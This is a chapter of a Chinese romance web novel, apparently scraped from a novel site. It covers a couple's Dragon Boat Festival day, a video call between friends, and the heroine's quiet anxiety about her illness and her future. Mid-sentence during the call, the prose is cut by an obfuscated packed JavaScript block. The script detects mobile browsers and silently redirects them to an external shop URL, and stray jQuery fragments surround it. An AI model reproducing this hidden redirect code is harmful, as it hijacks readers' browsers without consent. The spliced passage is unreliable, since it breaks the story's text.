文趣网 > 都市小说 > 今天黄总包/养人了没? > 114.恢复正常?
    端午假期,圈子里开始张罗各种饭局。平时大家各忙各的,但过节各家小辈都在,一些爱热闹的便趁着这时把人都约出来,喝酒聊天,变相社交。长辈们也睁一只眼闭一只眼,默认这是年轻人自己的交际时间。

    裴砚的手机从昨天傍晚开始就没怎么消停过,消息一条接一条。有几个还不算熟的,甚至托人递话,说什么好久没见三少了,端午怎么也得出来露个面。他们嘴上说着想聚一聚,谁都清楚真正的目的是谁。

    宋既明组的局也在晚上,定在工体附近一家私房菜馆,他刚从上海回来,叫了一帮人过去热闹。霍云峥也收到了邀请,问裴砚去不去?

    段恣意倒是直接,私聊连发好几条:“哥,你带她来嘛,我都还没见过真人!”

    裴钧也发来一条:“晚上宋既明那边组了个局,说让带家属。你问问她去不去。”

    裴砚没有马上回。他坐在客厅里,黄晶还睡着,呼吸轻软。他低头看着那些消息,指尖在屏幕上悬着没着急回,他心里明白,今晚这个局会是一场小型“亮相”。

    裴砚放下手机,打算等黄晶醒了再问问她的意思。他去,她就去;她不想,他就在家陪她。

    黄晶迷迷糊糊醒来时,见裴砚正一瞬不瞬地盯着自己,便轻声问他怎么了?

    裴砚摸摸她的头,想了想:“晚上宋既明组了个局,裴钧段恣意他们都去,问你想不想一起?”

    黄晶半张脸还埋在他身上,声音软软地问:“那吃的什么菜啊?”

    裴砚被这个问题问得微微一怔,随即低头笑了一下。她刚睡醒,脑子里装的还是吃。他认真想了想,说:“宋既明组的局,应该不会差。私房菜,可能是淮扬菜或者粤菜。”

    黄晶翻了个身,把脸埋进他腿上,声音含含糊糊的:“那我要去。就当去尝尝菜。”

    裴砚轻轻揉着她的后颈,“好,晚上带你去尝菜。”

    “如果不好吃,你得补偿我。”

    “怎么补偿?”

    “回来路上给我买鸡蛋灌饼,加肠加土豆丝。”

    裴砚认真记下,“行。”

    黄晶还不肯起来,赖在他身上又眯了一会儿。裴砚也没催,只把手机调成静音,安静地陪着她。

    临近中午,黄晶终于从裴砚身上慢吞吞地翻坐起来,顶着一头睡得有些乱的头发,开始思考一个无比重要的问题——中午吃什么?

    她趿拉着拖鞋走到厨房,打开冰箱瞅了瞅,然后回头看向裴砚,“晚上要吃大餐,中午就少吃点,留着肚子。”

    不待他回答,黄晶已经自顾自地点起菜来:“中午吃番茄肉酱意面吧?正好把冰箱里那些食材解决掉。”

    裴砚应了声好,说:“肉酱需要现炒,冰箱里番茄和牛肉末都有,我再切点洋葱。”然后走过去从冰箱里拿出食材,熟练地开始准备。

    黄晶也没闲着,主动请缨切番茄,“我最近切菜技术进步了,番茄都能切出月牙形了。”

    裴砚把刀递给黄晶,半信半疑地守在旁边。结果她切出来的番茄大大小小,形状各异,自己看了都觉得心虚。但黄晶还是忍不住辩解道:“这叫不规则美,是后现代艺术。”

    裴砚点头:“审美很超前。”

    黄晶对他露出赞许的眼神:“很有品味。”

    两人就这样挤在厨房里忙活着,偶尔黄晶凑过来偷吃一点刚炒好的肉酱又被烫得直吸气,两人再斗几句嘴。

    窗外雨后初晴,天光清透,一切都慢了下来。

    吃完中饭,黄晶盘腿坐在沙发上,听着厨房里洗碗机嗡嗡运转的声音,发出一声由衷的感叹:“果然,科技造福人类啊!”

    她想起自己之前在手搓完碗筷,还要用毛巾一个个擦干水渍的样子,和现在一按按钮就可以窝回沙发的舒适形成鲜明对比,于是越说越起劲,而后又扯到了浴室里的洗鞋机,说鞋进了一趟洗鞋机,出来跟新的一样,简直是二十一世纪最伟大的发明!

    裴砚洗完手从厨房出来,听见她这一连串感叹,嘴角不自觉地弯了弯。他走过去,把刚倒好的柠檬水递给她。

    黄晶接过来喝了一口,又望向窗外,“雨过之后的天空好干净啊,下午我们可以顺带出去走走,消化消化,不然晚上没肚子吃大餐。”

    裴砚应了声好。黄晶又开始掰着手指算晚上要穿什么,问他有没有着装要求?

    “用不着穿太正式,但也不能太随便。”

    黄晶听完认真地点点头,说那穿浅黄色方领衬衫配牛仔裤。说完又摇头,说不行,昨天穿过。

    裴砚坐在旁边,听她一个人嘀嘀咕咕安排行头,听着听着,目光就移不开了。阳光正好透过落地窗,在她身上落下一片温软的金色。

    黄晶刚校对完一份简短的文稿,活动了一下有些发酸的手腕,正准备刷会儿手机休息,屏幕忽然跳出了视频通话请求。是方棠发起的。

    黄晶从抽屉里翻出耳机戴上,按下了接通。安雨欣随后也加入了群聊。

    “端午快乐啊家人们!”方棠的声音从听筒里传出来,背景是有些空旷的客厅,还伴着几声猫叫。

    黄晶笑起来:“端午快乐。”

    方棠把镜头往怀里一偏,一只毛茸茸的白色狮子猫正半眯着眼打盹,蓬松的尾巴搭在她手腕上。“白糖,来跟你小姨们打个招呼。”

    黄晶配合地把脸凑近镜头,朝那只猫挥挥手:“白糖你好啊,我是你小姨!”

    安雨欣也笑:“白糖~呀!好像胖了?”

    方棠理直气壮:“它吃的是幸福。”

    黄晶问:“你端午回家了?”

    方棠点头:“嗯啊,公司放三天假,正好回来看看我妈,刚好也想白糖了。”

    安雨欣感慨:“果然还是离家近好,回家方便。”接着又问起黄晶,“我这几个月一直出差,要不是方棠和我说,都不知道你跑北京去了。”

    黄晶应了一声:“嗯,在这边租了个房子。”

    方棠在那边笑着说:“她在那儿休养呢,比我五一过去的时候精神好多了。”

    黄晶笑了笑,没接话,只低头把耳机线绕了绕。

    “你什么时候回来啊?”方棠问,“要是没事就到我这儿住几天,我白天上班无聊死了,晚上回来咱俩还能唠唠,周末也能一起出去逛逛。”

    安雨欣接话:“你也能来我这边,我室友搬出去了,现在宿舍就我一个人。不过周末,我偶尔要和男朋友出去吃饭,不太能常陪你。”

    方棠猛地一激灵:“还没分呢?”

    安雨欣摆摆手:“没。不过我最近又想分了。”

    黄晶问:“怎么了?”

    安雨欣叹了口气:“他想法太幼稚了。现在一天到晚拍短视频,说要做主播,当网红。”

    黄晶好奇:“直播什么?”

    安雨欣答:“游戏主播,偶尔聊聊天,粉丝点歌他唱两句。”

    黄晶疑惑:“当主播不是很赚钱吗?”

    安雨欣摇头:“那是大主播或者签了公司,粉丝多打赏多。但他这边刚起号,一天就挣个五六块。”

    黄晶点点头:“那确实不划算。”

    安雨欣越说越无奈:“我劝他趁暑假找个公司实习,或者准备考研。但他不想读研,想毕业直接工作。我说那也行,可以考公或者找个正经班上。但他偏要创业,觉得自己能行。”

    “说实话,普通家庭出来的,没有父母托举,现在这环境,找工作都难,更别说创业了。”

    方棠摇摇头:“这就是还没遭过社会毒打。”

    黄晶也应和:“跟我们大学那会儿一样,觉得自己什么都行。”

    安雨欣撇嘴:“感觉等他毕业了,我俩可能就分了。”

    方棠直截了当地劝:“早分早解脱。”

    安雨欣哭笑不得:“可他对我也挺好的,每次见面都

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947570|206530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    带花送点小东西的。”说着,她弯腰把桌上一束粉玫瑰捧起来,凑到镜头前:“昨天刚送的。”

    那束粉玫瑰包装精致,花瓣层层叠叠,颜色柔得像早晨的霞。黄晶眼睛一亮:“好好看啊!很适合你诶,他审美还挺好的。”

    方棠不屑地哼了一声:“就这点小恩小惠。”

    安雨欣被她说得没法,叹道:“行了,不跟你们贫了,下午还要做定量,我先去眯会儿。”

    黄晶和方棠齐声道:“拜拜。”安雨欣退出了聊天。

    视频里只剩下方棠。她一边心不在焉地撸着白糖,一边状似随意地开口:“你上回给我发的那个裴砚到底咋回事?别想糊弄我啊,身份证都发出来了。”

    黄晶有点心虚地摸了摸鼻子:“就那么回事呗。”

    方棠“啧啧”两声:“行啊你,一个个的。”

    “不过也挺好,身边有个人说说话、提供点什么情绪价值,也算不错。”

    黄晶含糊地嗯了声,不得不把话头扯开:“你呢?你之前一直吐槽的那个新领导呢?我怎么感觉他对你有点意思。”

    方棠脸色微变,立刻坐直了:“你可别瞎说,我对他可没想法!”

    黄晶眨眨眼睛:“我是说他对你有想法。”

    方棠义正词严:“宫中禁止对食!”

    黄晶笑得肩膀都在抖:“你工作后真是断情绝爱了。”

    方棠叹了口气:“不然呢?要不是为了那点工资,我早不干了。真的好累。”

    黄晶说:“累了就歇歇,别太撑。”

    方棠点头:“你也是。”

    话音刚落,电话那头传来她妈妈的喊声,方棠应了一句,最后匆匆对着镜头说:“你回来提前告诉我,到我这儿住几天。”

    黄晶点头:“一定。拜拜。”

    电话挂断后,黄晶慢慢把耳机摘下来,靠回椅背上,仰起头,长长地叹了一口气。

    她刚才和她们聊天时,能笑,能接梗,能调侃别人,可一旦热闹退去,那股熟悉的空落感又一点一点漫了上来。

    她想,方棠虽然总嚷着工作累,可她有份正经工作,独生女,家在本地,累了就回家住两天,抱着猫窝在沙发上刷手机,日子总有兜底。安雨欣虽总说想分手,却也在自己的实验和感情里努力维持着某种平衡,也有人隔三差五地惦记她。

    每个人都在自己的生活里往前走着,只有她,像一只被淋湿了翅膀的鸟,飞不起来,也落不下去。

    黄晶望着窗外灰蓝的天,脑子乱糟糟的。她曾以为自己也能像其他人一样,按部就班地毕业、工作,可现实是她连明天要做什么都不知道。

    她暂时躲进了一个柔软的壳子里,靠着外界给的暖意续命。可一旦有风从缝隙里钻进来,她就会像一株没扎稳根的植物,东倒西歪,要花很久很久才能恢复。

    黄晶拿起手机刷了几页招聘信息,看着那些岗位描述,越看越觉得心慌。她不知道自己能做什么,好像什么都不够格,什么都不敢试。她的人生似乎真的快要完蛋了……

    前路灰蒙蒙的,像窗外没有散尽的雨云。黄晶不确定自己会不会哪一天就掉下去,再也爬不起来。

    她知道这种悲观主义不对,可她没办法。黄晶就是忍不住会想——如果她的病一直不好,如果她连份能养活自己的工作都找不到,她该怎么办?

    那种熟悉的无力感又涌了上来,像潮水漫过胸口,闷得黄晶喘不过气。

    她闭上眼睛,慢慢呼出一口气。她没有哭,只是觉得累,累得连叹气的力气都变得很轻。

    过了一会,黄晶决定先把这些纷复繁杂的念头收起来。她暂时没有力气改变现状,那么她唯一能做的,就是先把自己照顾好,把每一个今天过下去。

    于是黄晶起身走到床边,将自己摔进被子里。手机滑到一边,窗外的光也一点点暗下去。没多久,她眼皮越来越沉,最后睡了过去。